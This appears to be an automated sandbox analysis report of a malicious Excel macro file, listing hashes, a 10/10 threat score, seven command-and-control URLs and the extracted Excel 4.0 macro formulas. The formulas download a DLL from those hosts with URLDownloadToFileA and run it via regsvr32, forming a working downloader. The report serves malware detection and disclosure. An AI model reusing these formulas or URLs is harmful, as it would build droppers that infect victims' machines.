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General

  • Target

    28e2a587439b687fbb213fa32d3ddc8edd92e295cd788d5e42005dac1159cf69

  • Size

    32KB

  • MD5

    96edfaa4cc37d7db9713cc2a68de53c8

  • SHA1

    74b26a8ecae65ebf51cd182e3926e80dae428e1b

  • SHA256

    28e2a587439b687fbb213fa32d3ddc8edd92e295cd788d5e42005dac1159cf69

  • SHA512

    bbc7ebc84a4615b892c32163a4365296f7ab1a85ad26d6ae266b8cfe1f942f3db29493f1c141bc9d8ae23d1b8c87418336c9f219bd600ca449db079845f9a4e6

  • SSDEEP

    768:gjf8WFhN7beEizXT2LxdFfPdkqstJVE6D:6EsTXrgXUndkq8E6D

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://www.alejandrovillar.com/MSL/eKDWjpa4OHRxpysOTFe/

https://alejandrastamateas.com/web/ZxA3zHwsH3r/

https://alexetaurore.com/wanted/pfFtzaJovICU81kfuUp/

http://ayursoukhya.org/wp-includes/XI35qPGHvszZ1u/

http://balibuli.hu/cgi-bin/WDDM0VHSK4VcOFmU/

https://aldibiki.com/prettyPhoto/gLFRzQV0VunO/

https://al-brik.com/vb-w/U/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.alejandrovillar.com/MSL/eKDWjpa4OHRxpysOTFe/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alejandrastamateas.com/web/ZxA3zHwsH3r/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alexetaurore.com/wanted/pfFtzaJovICU81kfuUp/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ayursoukhya.org/wp-includes/XI35qPGHvszZ1u/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://balibuli.hu/cgi-bin/WDDM0VHSK4VcOFmU/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aldibiki.com/prettyPhoto/gLFRzQV0VunO/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://al-brik.com/vb-w/U/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • 28e2a587439b687fbb213fa32d3ddc8edd92e295cd788d5e42005dac1159cf69
    .xlsm office2007